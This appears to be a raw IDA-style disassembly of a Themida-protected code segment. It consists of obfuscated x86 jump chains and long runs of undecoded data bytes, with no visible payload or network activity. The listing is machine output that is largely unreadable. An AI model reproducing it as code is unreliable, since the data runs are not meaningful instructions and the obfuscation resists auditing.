		dd 2434FF04h, 0E924348Bh, 0FFFFD4B2h, 4BF57h, 7C010000h
		dd 5A5F0424h, 4C281h, 0E9510000h, 2EC9h, 0E9873C88h, 0FE1h
		dd 8B2434FFh
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_546188
; ---------------------------------------------------------------------------
		dw 0C31h
		dd 240C3324h, 243C895Ch, 0E72BBFBFh, 4168511Fh,	59E018D4h
		dd 0FF9186E9h, 243C89FFh, 0B850E789h, 4, 0FFFAE5E9h, 69EE81FFh
		dd 0C152D155h, 0CE8104E6h, 5B9968E9h, 0FDF5EE81h, 0F7015BBFh
		dd 0FFF71BE9h, 0E951ADFFh, 0FFFFB2D7h, 4EC83ADh, 0E9241C89h
		dd 0FFFFBD9Bh, 0A8C38143h, 55DCA5Dh, 3B0A7DACh,	1CE8E9h
		db 0
; ---------------------------------------------------------------------------

loc_54B375:				; CODE XREF: Themida_:00544D21j
		xor	ecx, 7BD53C97h
		sub	esp, 4
		jmp	loc_54A224
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 0FFC3D7E9h, 0C1835AFFh, 240C8704h, 0C8BF0F5Ch, 70F068h
		dd 24348900h, 0C6815E54h, 4, 4BF57h, 0FE290000h, 68243C8Bh
		dd 6C48h, 89240489h, 405E0h, 4050000h, 87000000h, 78E92404h
		dd 0BE000041h, 0AC72FB7h, 95F443B9h, 5EF10113h,	0DC0AC181h
		dd 0BF57E1A2h, 342F77CDh, 7633EE81h, 0FE2962EBh, 7633C681h
		dd 15F62EBh, 0CDC681CEh, 59342F77h, 4796E9h, 72E95D00h
		dd 0FFFFFF99h, 589D1C77h, 9C240419h, 0FF8507E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54B41D:				; CODE XREF: Themida_:0054FA16j
		push	ebp
		jmp	loc_54CF56
; ---------------------------------------------------------------------------
		db 89h
		dd 4812424h, 424h, 0DF4FE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54B432:				; CODE XREF: Themida_:00548392j
		pop	edx
		push	ecx
		push	edi
		mov	edi, 454040A1h
		jmp	loc_547646
; ---------------------------------------------------------------------------

loc_54B43F:				; CODE XREF: Themida_:005499C7j
		mov	ebx, 5BA43039h
		add	ebx, 1
		push	edi
		mov	edi, 5BC2D1Eh
		neg	edi
		add	edi, 8879AA5h
		or	ebx, edi
		pop	edi
		jmp	loc_5442F5
; ---------------------------------------------------------------------------

loc_54B460:				; CODE XREF: Themida_:00549F5Fj
		mov	dh, 7Ch
		jmp	loc_54AA24
; ---------------------------------------------------------------------------

loc_54B467:				; CODE XREF: Themida_:00544F73j
		add	edx, ebx
		add	edx, 0CB11F5Eh
		add	[edx], ecx
		pop	edx
		pop	ebx
		pop	edx
		mov	ecx, [esp]
		jmp	loc_54E1AF
; ---------------------------------------------------------------------------
		dd 0E94FEB81h, 2EE9D93Ch, 5DFFFFF2h, 4244401h, 24042958h
		dd 0FFFAB4E9h, 94E281FFh, 0E92ED840h, 0FFFFBFAFh, 0DD30C6B5h
		dd 8BE8005Bh, 0C483240Ch, 0E2E95104h, 8B00003Dh, 168243Ch
		dd 89000070h, 0E9542414h, 0FFFFDE1Bh, 2B9h, 59CD0100h
		dd 0FFE295E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54B4D1:				; CODE XREF: Themida_:0054D7DDj
		push	edx
		mov	edx, 5B2A6569h
		sub	ecx, edx
		jmp	loc_54E292
; ---------------------------------------------------------------------------
		dw 0C87h
		dd 24248B24h, 89243C89h, 4B850E7h, 1000000h, 0CCE958C7h
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------

loc_54B4F7:				; CODE XREF: Themida_:00546DC6j
		pop	esp
		push	edx
		push	esp
		jmp	loc_545A49
; ---------------------------------------------------------------------------
		db 29h
		dd 0CB015EF1h, 81EB0159h, 436D3BEBh, 0B9515D2Ah, 693D43D5h
		dd 0FF960FE9h, 0E6EF80FFh, 8086F780h, 0E980D8C7h, 50F9284Eh
		dd 0E83467B0h, 0E903E8C0h, 0FFFFF784h, 5224048Fh, 4BAh
		dd 24540100h, 815A5A04h, 4C2h, 24E95600h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54B54F:				; CODE XREF: Themida_:005488F9j
		mov	ebp, 5267464h
		add	ebp, 7AEB3FE9h
		or	ebp, 79587AFAh
		push	edx
		mov	edx, 1E38450Eh
		jmp	loc_54B83F
; ---------------------------------------------------------------------------
		db 5Dh
		dd 41FFE983h, 16FFC981h, 0E9810100h, 7F7A214Ah,	4392C181h
		dd 0C83169ECh, 0E9C38959h, 0FFFFBCD2h, 241CF753h, 81241C8Bh
		dd 4C4h, 7FC38100h, 510A913Ch, 0FFBCA5E9h, 241487FFh, 38A9E95Ch
		dd 575B0000h, 4BFh, 0E9FB0100h,	1DB7h, 89243C89h, 4C781E7h
		dd 83000000h, 2C8904ECh, 4BD24h, 0EF810000h, 0C276313h
		dd 0FFE655E9h, 4C681FFh, 68000000h, 3F58h, 0E9240C89h
		dd 0FFFFEA2Dh, 0BE56E389h, 4, 505EF301h, 713BA9B8h, 5E032D11h
		dd 0E8C11D4Eh, 2F4EE902h, 0D5050000h, 51549466h, 0F5174CB9h
		dd 5EDE947h, 0EB000000h, 95E95966h, 89FFFFFBh, 0BAB82404h
		dd 0E95A907Ch, 113Ch, 50241C89h, 0C26244B8h, 55514069h
		dd 503D17BDh, 2C15E97Fh, 57590000h, 4BFh, 0C1C18100h, 525ED302h
		dd 0B11ABDBAh, 17F6E974h, 0BDE90000h
		db 82h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54B667:				; CODE XREF: Themida_:00547641j
		push	edi
		jmp	loc_54C6EA
; ---------------------------------------------------------------------------

loc_54B66D:				; CODE XREF: Themida_:0054C2C8j
		mov	cx, [esp]
		add	esp, 2
		push	small 0E8Bh
		mov	[esp], cx
		push	eax
		jmp	loc_544151
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 6E960ABDh, 0CAC98141h, 816BBB28h, 0F76A46E9h, 0BC1811Eh
		dd 1A49B1Fh, 0C62D59C8h, 8B277E0Bh, 0C481241Ch,	4, 0E9240487h
		dd 0FFFFC5F0h, 835BD828h, 8AE904ECh, 88000037h,	5DE95B3Ah
		dd 56FFFF82h, 0DB79AEBEh, 5EF3093Ah, 0FFE4E2E9h, 2434FFFFh
		dd 5E2434FFh, 0C45E9h, 0C7815C00h, 4, 7A0568h, 243C8900h
		dd 42474FFh, 0FFBAA6E9h, 0AABA52FFh, 29412027h,	8B665AD3h
		dd 10E92414h
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54B70B:				; CODE XREF: Themida_:00543B12j
		pop	ebx
		push	esi
		mov	esi, 536218F4h
		xor	esi, 26143453h
		shr	esi, 4
		xchg	ecx, esi
		neg	ecx
		xchg	ecx, esi
		xor	esi, 0E99F8CA8h
		jmp	loc_549655
; ---------------------------------------------------------------------------
		dd 24048B66h, 0E4D8E953h, 0C683FFFFh, 24348704h, 0CDBE565Ch
		dd 53459828h, 0CE38A4BBh, 7E38102h, 0E9385D77h,	0FFFFFD28h
; ---------------------------------------------------------------------------

loc_54B754:				; CODE XREF: Themida_:0054AF35j
		shr	ecx, 4
		sub	ecx, 70E50400h
		add	ecx, 4A5345D8h
		jmp	loc_547773
; ---------------------------------------------------------------------------
		dd 0BE243489h, 0ED017FBh, 0E809C681h, 1FE9F12Fh, 89FFFF96h
		dd 4C181E1h, 83000000h,	0E95104E9h, 2759h
; ---------------------------------------------------------------------------

loc_54B78C:				; CODE XREF: Themida_:00545E42j
		pop	esi
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_54E7DB
; ---------------------------------------------------------------------------
aYRQgcbC2sd	db 'Y)ØRºÖqƒCÂÉ$c2é„"',0
		align 4
		dd 0BA52E089h, 4, 815AD001h, 4ECh, 242C8900h, 12A46857h
		dd 565F484Bh, 2046D6BEh, 81DEF729h, 2ACBCCEEh, 0C3B9511Fh
		dd 13D4D76h, 0EF8159CFh, 45760385h, 0C781F701h,	45760385h
		dd 76C3EF81h, 8AE93D4Dh, 8F000029h, 0E95C2404h,	2D53h
		dd 0C0B46B8h, 0C178E924h, 54BEFFFFh, 813B9F00h,	1115CFEEh
		dd 0E9F68122h, 81636F7Fh, 0F7E867F6h, 5EF02949h, 22E7E9h
		dd 24048B00h, 0FA75E957h, 0DE29FFFFh, 1A19EE81h, 0CFE930ACh
		db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54B83F:				; CODE XREF: Themida_:0054B566j
		shl	edx, 8
		neg	edx
		sub	edx, 0B01DB67Ah
		and	ebp, edx
		pop	edx
		sub	ebp, 11193A82h
		jmp	loc_544698
; ---------------------------------------------------------------------------
aUsp		db 'Ué%',0
		align 2
		dw 0C109h
		dd 0D7BA5258h, 2957FF26h, 0CE895AD1h, 0D3C78159h, 124255Dh
		dd 0D3EF81F7h, 8B24255Dh, 40E92434h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54B883:				; CODE XREF: Themida_:0054D115j
		push	esi
		mov	esi, 777764CCh
		add	eax, 1FC84DBAh
		jmp	loc_5479F7
; ---------------------------------------------------------------------------
		db 81h
		dd 42404h, 56580000h, 280BE9h, 5C2CAC00h, 0B551472Ch, 0B0F58007h
		dd 0FFB868E9h, 4C483FFh, 0FF8B63E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54B8B9:				; CODE XREF: Themida_:005453F2j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_548086
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 4C48324h, 4C581h, 0CCE90000h
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54B8DB:				; CODE XREF: Themida_:005445CCj
		pop	ecx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 51841h
		add	ebx, edi
		pop	edi
		jmp	loc_546B3E
; ---------------------------------------------------------------------------
		dw 1C33h
		dd 241C3124h, 0E9241C33h, 14F0h
; ---------------------------------------------------------------------------

loc_54B900:				; CODE XREF: Themida_:00544058j
		dec	esi
		jmp	loc_54709B
; ---------------------------------------------------------------------------

loc_54B906:				; CODE XREF: Themida_:0054945Aj
		push	edi
		jmp	loc_5476E1
; ---------------------------------------------------------------------------
		dd 331FEA81h, 0F20125B3h, 331FC281h, 875E25B3h,	0E95C2414h
		dd 0FFFFF83Eh
; ---------------------------------------------------------------------------

loc_54B924:				; CODE XREF: Themida_:0054BEEDj
		jmp	loc_543924
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 4C481h, 0EDE90000h, 59FFFF7Fh, 28C1F380h, 0D8285BD8h
		dd 1C8B2104h, 0BFA1E924h, 8B66FFFFh, 5682404h, 89000009h
		dd 8952240Ch, 9ABF57E2h, 811FF73Ch, 5F20CCE7h, 8E94F49h
		db 88h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54B96B:				; CODE XREF: Themida_:00544088j
		add	ebp, 11B57C83h
		pop	eax
		xchg	ebp, [esp]
		jmp	loc_54945F
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 24248B24h, 0FFD949E9h, 4EC81FFh, 89000000h, 168240Ch
		dd 0FF000000h, 0C8B2434h, 4C48124h, 0E9000000h,	0FFFFE0E2h
		dd 0C8B5A66h, 4C48124h,	51000000h, 8C1BE950h, 0CB29FFFFh
		dd 51240C8Bh, 0FFCE32E9h, 62E680FFh, 2C39F680h,	4F00005h
		dd 2620E905h, 0B7530000h, 0B8F78064h, 2C95B050h, 0F6C8FE47h
		dd 0B2B652D0h, 45AF030h, 30F92CF2h, 0E7C058C7h,	0FB23E908h
		dd 0E300FFFFh, 1515E9h,	0D831AD00h, 4EC8151h, 89000000h
		dd 8682434h, 0E965AA09h, 0B2Ch
; ---------------------------------------------------------------------------

loc_54BA14:				; CODE XREF: Themida_:005468C2j
		sub	eax, edx
		jmp	loc_546308
; ---------------------------------------------------------------------------
		db 0B9h
		dd 71F470B1h, 0C8BCD89h, 4C48324h, 7AD7E581h, 0BE566201h
		dd 348C23DBh, 815EF521h, 9B462BEDh, 9CC5810Fh, 81EF9B25h
		dd 534552EFh, 81EF015Ch, 534552C7h, 0FF575D5Ch,	5F042474h
		dd 8B24048Fh, 8B662424h, 89572404h, 0A7B850E7h,	2D163E25h
		dd 57C05F8Dh, 7B33BF57h, 0F8313B4Ch, 257CE95Fh,	0F0890000h
		dd 0E924348Bh, 789h
; ---------------------------------------------------------------------------

loc_54BA88:				; CODE XREF: Themida_:0054A58Cj
		push	ebx
		mov	ebx, 68B334C3h
		jmp	loc_5471D6
; ---------------------------------------------------------------------------
		db 66h
		dd 83240C8Bh, 2C8904ECh, 27E95424h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54BAA3:				; CODE XREF: Themida_:0054A256j
		mov	ecx, 0EF8E1276h
		jmp	loc_54EAAB
; ---------------------------------------------------------------------------
		db 1, 0C3h, 81h
		dd 0A87C05EBh, 1987E942h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54BABA:				; CODE XREF: Themida_:0054F592j
		sub	[esp+4], ebx
		jmp	loc_545844
; ---------------------------------------------------------------------------
		db 83h
		dd 0E2E904ECh
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54BACB:				; CODE XREF: Themida_:00544C56j
		pop	edx
		jmp	loc_546B4C
; ---------------------------------------------------------------------------

loc_54BAD1:				; CODE XREF: Themida_:0054F9B3j
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_54ACEF
; ---------------------------------------------------------------------------

loc_54BAE1:				; CODE XREF: Themida_:005445B5j
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		jmp	loc_547C90
; ---------------------------------------------------------------------------

loc_54BAF2:				; CODE XREF: Themida_:0054A79Aj
		or	edx, eax
		shl	edx, 1
		jmp	loc_54DC60
; ---------------------------------------------------------------------------

loc_54BAFB:				; CODE XREF: Themida_:0054D317j
		inc	dh
		or	dh, 0E9h
		jmp	loc_54EFDB
; ---------------------------------------------------------------------------
		db 68h,	0ACh, 61h
		dd 4E90000h, 68000027h,	72E6h, 0E9240489h, 2D8Bh, 22E95558h
		dd 0F7FFFFE2h, 81CF87D1h, 551DF7CFh, 0FBEF811Fh, 1BF5DBDh
		dd 0C0835FF8h, 24048702h, 2824248Bh, 0E99C2404h, 0FFFF7DDCh
		dd 89240489h, 0D4EFE9E0h, 0C0FEFFFFh, 0FFB90FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54BB59:				; CODE XREF: Themida_:00548A42j
		mov	ebx, esp
		push	edx
		jmp	loc_54E0D3
; ---------------------------------------------------------------------------
		db 86h,	0FAh, 0C0h
		dd 0EC8105E2h, 2, 241C8966h, 0B7E9B450h, 0E9CFFEA4h, 2E4Ch
		dd 5E08950h, 4,	0FFC96EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54BB89:				; CODE XREF: Themida_:00546D83j
		push	ebp
		mov	ebp, 40CB46D3h
		jmp	loc_54F8A5
; ---------------------------------------------------------------------------

loc_54BB94:				; CODE XREF: Themida_:00548593j
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	esi
		push	6C983646h
		jmp	loc_54DF91
; ---------------------------------------------------------------------------
		dw 8B54h
		dd 0C483243Ch, 15B85004h, 0C140514Bh, 0E0C106E0h, 0FB354804h
		dd 1452C53h, 3D61E9C7h,	3B5C0000h, 41E99CC8h, 8BFFFF7Dh
		dd 0C483241Ch, 0B2B8E904h, 0C15AFFFFh, 0E94A03EAh, 0FFFFE9F8h
; ---------------------------------------------------------------------------

loc_54BBF8:				; CODE XREF: Themida_:00546310j
		sub	esp, 4
		jmp	loc_54EB54
; ---------------------------------------------------------------------------
		dd 21C6BE56h, 0DCE97207h, 1FFFFF0h, 850559C8h, 2D519A50h
		dd 4FAC2971h, 0E9242C8Bh, 1243h, 4C3815Bh, 0E9000000h
		dd 0FFFFBDC5h, 405E089h, 0E9000000h, 0A7Bh
; ---------------------------------------------------------------------------

loc_54BC38:				; CODE XREF: Themida_:00545774j
		mov	edi, 6A711018h
		jmp	loc_546BC2
; ---------------------------------------------------------------------------

loc_54BC42:				; CODE XREF: Themida_:0054DAAAj
		push	ecx
		push	eax
		mov	eax, 5FF34675h
		or	eax, 5FDB6CDDh
		and	eax, 749402AEh
		inc	eax
		and	eax, 52EE3585h
		add	eax, 71C84FFEh
		xor	eax, 0B73D6120h
		mov	ecx, eax
		jmp	loc_5488BD
; ---------------------------------------------------------------------------
		dw 0C33h
		dd 0AB40E924h, 468FFFFh, 5B000000h, 1C8BD929h, 4C48324h
		dd 5C240C87h, 68243489h, 35076D25h, 3A24055Eh, 81E934D7h
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54BC97:				; CODE XREF: Themida_:0054912Aj
		not	ebx
		sub	ebx, 37E801DEh
		add	ebx, 0D42329E3h
		add	esi, ebx
		jmp	loc_54ED2A
; ---------------------------------------------------------------------------
		dd 0FF04C483h, 0FFE92434h
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54BCB7:				; CODE XREF: Themida_:00549D0Bj
		xchg	ebx, edx
		dec	ebx
		xchg	ebx, edx
		push	ecx
		mov	ecx, 48E70AA7h
		and	ecx, 252564ACh
		push	ebx
		mov	ebx, 0C7A7B8Ch
		xor	ecx, ebx
		pop	ebx
		add	edx, ecx
		jmp	loc_54754D
; ---------------------------------------------------------------------------
		dd 6804C483h, 28E5h, 83240C89h,	148904ECh, 70C5BA24h, 5B932BFh
		dd 81622167h, 0C1890C1h, 3CE9521Bh
		db 8Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54BCFF:				; CODE XREF: Themida_:005480F4j
		mov	ecx, 1D130D09h
		and	ecx, 70284584h
		neg	ecx
		shr	ecx, 4
		inc	ecx
		jmp	loc_54756D
; ---------------------------------------------------------------------------
		db 24h,	0A8h, 0FEh
		dd 884E2CC0h, 24048BC2h, 4C481h, 0D7880000h, 66F8285Ah
		dd 0E9241C8Bh, 0FFFFCC35h, 55C58159h, 81E7427Dh, 8A58E7C2h
		dd 3E9CE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54BD46:				; CODE XREF: Themida_:00546FF2j
		pop	ebx
		jmp	loc_54EC23
; ---------------------------------------------------------------------------
		dd 48E9F929h, 0BBFFFFCCh, 15574F25h, 4AE9DF29h
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54BD5F:				; CODE XREF: Themida_:0054982Ej
		xchg	ebx, [esp]
		pop	esp
		sub	al, ch
		jmp	loc_548091
; ---------------------------------------------------------------------------
		dw 55ADh
		dd 0EC3FC9BDh, 43C30553h, 0E801799Ah, 9A43C32Dh, 0C8E95D79h
		dd 0FF00000Fh, 555B2434h, 0FF9E35E9h, 81FA01FFh, 785871C2h
		dd 0ACB8505Dh, 811B7C7Ah, 0F34E10C2h, 81C2012Dh, 0F34E10EAh
		dd 0F440E92Dh, 0D205FFFFh, 2D663017h, 0DE337DEh, 2303E9h
		dd 0FFF90100h, 1DE92434h, 89FFFFF0h, 4B9240Ch, 0E9000000h
		dd 0F0Ch, 12E9F931h
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54BDDB:				; CODE XREF: Themida_:0054CEC9j
		not	dword ptr [esp]
		jmp	loc_54D66C
; ---------------------------------------------------------------------------

loc_54BDE3:				; CODE XREF: Themida_:0054CA78j
		sub	eax, ecx
		sub	eax, 5ADF4C99h
		push	edi
		mov	edi, 5D2D26D7h
		jmp	loc_548D18
; ---------------------------------------------------------------------------
		db 0BEh, 2Fh, 6Ch
		dd 0EEC12027h, 4E6C104h, 0DE9DEF7h
		db 0Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54BE07:				; CODE XREF: Themida_:00545310j
		xor	ebp, [esp]
		jmp	loc_548951
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 240C8900h, 528C68h, 24248900h,	8904EC83h, 4BD242Ch
		dd 1000000h, 0E904246Ch, 1527h
; ---------------------------------------------------------------------------

loc_54BE34:				; CODE XREF: Themida_:0054FB23j
		xchg	ecx, ebp
		jmp	loc_54F499
; ---------------------------------------------------------------------------
		db 56h
		dd 2A7E2FBEh, 0F7D6F777h, 0D5C681D6h, 188D581h,	14875EF2h
		dd 24248B24h, 0FFC0B60Fh, 0EC838734h, 24148904h, 502629BAh
		dd 7E2C115h, 4F58EA81h,	0BB533B7Bh, 65BB766Ch, 330BCB81h
		dd 0E94B3C92h, 0FFFFB976h, 0C104E2C1h, 0E9E906EAh, 68FFFFB0h
		dd 944h, 0E9243489h, 2364h
; ---------------------------------------------------------------------------

loc_54BE98:				; CODE XREF: Themida_:0054D57Bj
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_54A897
; ---------------------------------------------------------------------------
		dd 0BB06C681h, 0F0011819h, 0C504E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54BEBA:				; CODE XREF: Themida_:00546AD5j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	dh, 0DDh
		add	dh, 1
		shr	dh, 2
		jmp	loc_54D5AA
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 6C9336D2h, 0FFC983E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54BEE9:				; CODE XREF: Themida_:0054435Ej
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_54B924
; ---------------------------------------------------------------------------

loc_54BEF2:				; CODE XREF: Themida_:0054E39Fj
		add	ebp, 83001D5Ah
		push	ebp
		pop	ebx
		jmp	loc_545258
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0E9D1F7D9h, 0FFFFD906h, 4C281h, 14870000h, 2C875C24h
		dd 89665C24h, 5E9240Ch,	0E9FFFF7Ah, 0FFFF7A00h,	32414925h
		dd 41442D5Fh, 44015F20h, 34FF0424h, 0C4835824h,	79E6E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54BF3E:				; CODE XREF: Themida_:0054F7AEj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		add	ebx, edi
		jmp	loc_54679C
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		db '$h){',0
		align 2
aS_5		db 'é',0
		db 9Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 143E588Bh
		xchg	eax, esi
		not	esi
		xchg	eax, esi
		and	eax, 36516DFCh
		dec	eax
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 381863EBh
		jmp	loc_54EA95
; ---------------------------------------------------------------------------
		dw 875Fh
		dd 685C241Ch, 3C80h, 0BE243489h, 2D269CCh, 4247429h, 5E2434FFh
		dd 0E9E68956h, 0FFFFEAEFh, 4C681h, 0C6810000h, 4, 0FF8A26E9h
		dd 2434FFFFh, 4C48158h,	53000000h, 5751E389h, 484B7568h
		dd 0A76AE96Ch, 0EC81FFFFh, 4, 0B4240489h, 0C7C4806Fh, 894B151h
		dd 240C8BCCh, 0E904C483h, 0FFFFB43Dh, 2FA0E956h, 0E95A0000h
		dd 0FFFFF6BFh
; ---------------------------------------------------------------------------

loc_54C000:				; CODE XREF: Themida_:00545385j
		sub	al, bh
		pop	bx
		push	dx
		mov	dh, 0DDh
		push	eax
		push	edx
		jmp	loc_544101
; ---------------------------------------------------------------------------

loc_54C00F:				; CODE XREF: Themida_:0054C131j
		pop	edi
		jmp	loc_543DA3
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 0FFBFC4E9h, 81665AFFh, 0E941D4CBh, 0FFFF9E76h, 4C481h
		dd 53E90000h, 66FFFFF3h, 8124048Bh, 4ECh, 24148900h, 83515A54h
		dd 3C8904ECh, 2803E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54C04E:				; CODE XREF: Themida_:00547763j
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_54CEC8
; ---------------------------------------------------------------------------

loc_54C063:				; CODE XREF: Themida_:00544898j
		pop	ecx
		and	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 1Ch
		push	esi
		push	ecx
		mov	ecx, 0C796F0Dh
		mov	esi, ecx
		pop	ecx
		jmp	loc_546493
; ---------------------------------------------------------------------------
aS_0W		db 'S³.0Ý[,W',0
		dw 4E8h
		dd 8FDFE957h, 5051FFFFh, 30180DB8h, 58C1897Ah, 0D59C889h
		dd 185B1D33h, 7B1D3535h, 4EC817Ah, 89000000h, 34812404h
		dd 2B120024h, 0BF575903h, 6FA0DF5h, 0FFFFEF81h,	0B1E9FFFFh
		dd 0B9FFFFEFh, 6865515Dh, 4105E9C1h, 2A8FF181h,	0B9510343h
		dd 3E5C26F7h, 4BCBE181h, 0D9F719CDh, 0B2CFE981h, 0CA29842Ah
		dd 81CA0159h, 894A6EC2h, 45685963h, 89000065h, 2BF243Ch
		dd 0E9000000h, 0FFFFD9ECh, 240C3358h, 33240C31h, 248B240Ch
		dd 240CD324h, 7802E99Ch, 4068FFFFh, 0E9000014h,	0FFFFCDA6h
; ---------------------------------------------------------------------------

loc_54C12C:				; CODE XREF: Themida_:00543E68j
		add	eax, 7385229Bh
		jmp	loc_54C00F
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 3C56824h, 87680000h,	0E9000023h, 0FFFFE4DDh
; ---------------------------------------------------------------------------

loc_54C148:				; CODE XREF: Themida_:0054C535j
		sub	ebp, 555F4857h
		jmp	loc_546456
; ---------------------------------------------------------------------------
		db 0B9h
		dd 4CA8282Bh, 0FD02BF57h, 0C4E9CAD9h, 0F700002Ch, 0C9F781D7h
		dd 4F7B855Bh, 8D3EC781h, 0FB892ED2h, 2794E9h
		db 0
; ---------------------------------------------------------------------------

loc_54C179:				; CODE XREF: Themida_:00543C32j
		pop	ebx
		or	ebx, ecx
		push	dword ptr [esp]
		jmp	loc_54889A
; ---------------------------------------------------------------------------
		dd 80E9F031h
		db 23h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54C18B:				; CODE XREF: Themida_:0054E041j
		and	ebx, 2E5D2C6Fh
		push	edi
		mov	edi, 0EBAF999Dh
		sub	ebx, edi
		pop	edi
		xor	ebx, 3DF67581h
		sub	ebx, 2B659B0Eh
		jmp	loc_548677
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0EE8146D6h, 4B4B150Fh, 10CFBB53h, 7BE94E04h,	0E9FFFFEDh
		dd 0FFFF7760h, 8904EC83h, 6857242Ch, 170C3E85h,	0DCF5E95Fh
		dd 0E389FFFFh, 4B951h, 0EB810000h, 14517F66h, 0FFD851E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54C1E9:				; CODE XREF: Themida_:0054CFD3j
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	0FFFFFFFFh
		mov	edx, [esp]
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_5454A9
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 81000000h, 0A55AAAEBh, 81C32970h, 0A55AAAC3h, 0EC815870h
		dd 4, 50241489h, 1A19BCB8h, 74952541h, 0E8C12BA5h, 48D0F705h
		dd 3C844235h, 58C289BAh, 535AD329h, 0BE580E68h,	2434FF10h
		dd 0CD0E9h, 5BBE5600h, 81752F19h, 302373C6h, 5EF201A2h
		dd 0EA81C201h, 175F3CCEh, 43196850h, 3AE96D76h,	54FFFF85h
		dd 40558h, 55510000h, 1E59E957h, 0EF830000h, 0C56EE904h
		dd 0C781FFFFh, 0DDEBFB24h, 815FFD89h, 0F71A10C2h, 81EA0137h
		dd 0F71A10EAh, 336DE937h, 2B80000h, 1000000h, 1DE958C6h
		db 90h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C2BB:				; CODE XREF: Themida_:0054F855j
		add	esp, 4
		pop	eax
		sub	al, 0A1h
		sub	al, cl
		add	al, 0A1h
		jmp	loc_54B66D
; ---------------------------------------------------------------------------

loc_54C2CD:				; CODE XREF: Themida_:00548683j
		and	eax, ebx
		pop	ebx
		jmp	loc_543A25
; ---------------------------------------------------------------------------

loc_54C2D5:				; CODE XREF: Themida_:0054AEA0j
		mov	[esp], edx
		jmp	loc_54C2F3
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 0E904C483h, 0FFFF920Bh, 4EC81h, 0E0E90000h
		db 97h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C2F3:				; CODE XREF: Themida_:0054C2D8j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_54FD42
; ---------------------------------------------------------------------------
		dw 0DFF7h
		dd 6706C781h, 0C781404Ah, 19C86B97h, 0E945C781h, 7EE98903h
		dd 0FFFFFF94h, 75FEE930h, 8957FFFFh, 4C781E7h, 83000000h
		dd 22E904C7h, 29FFFFEBh, 27E95EF7h, 33000022h, 248B2414h
		dd 0C8BE0F24h, 39E968h,	240C8900h, 1645E9h
		db 0
; ---------------------------------------------------------------------------

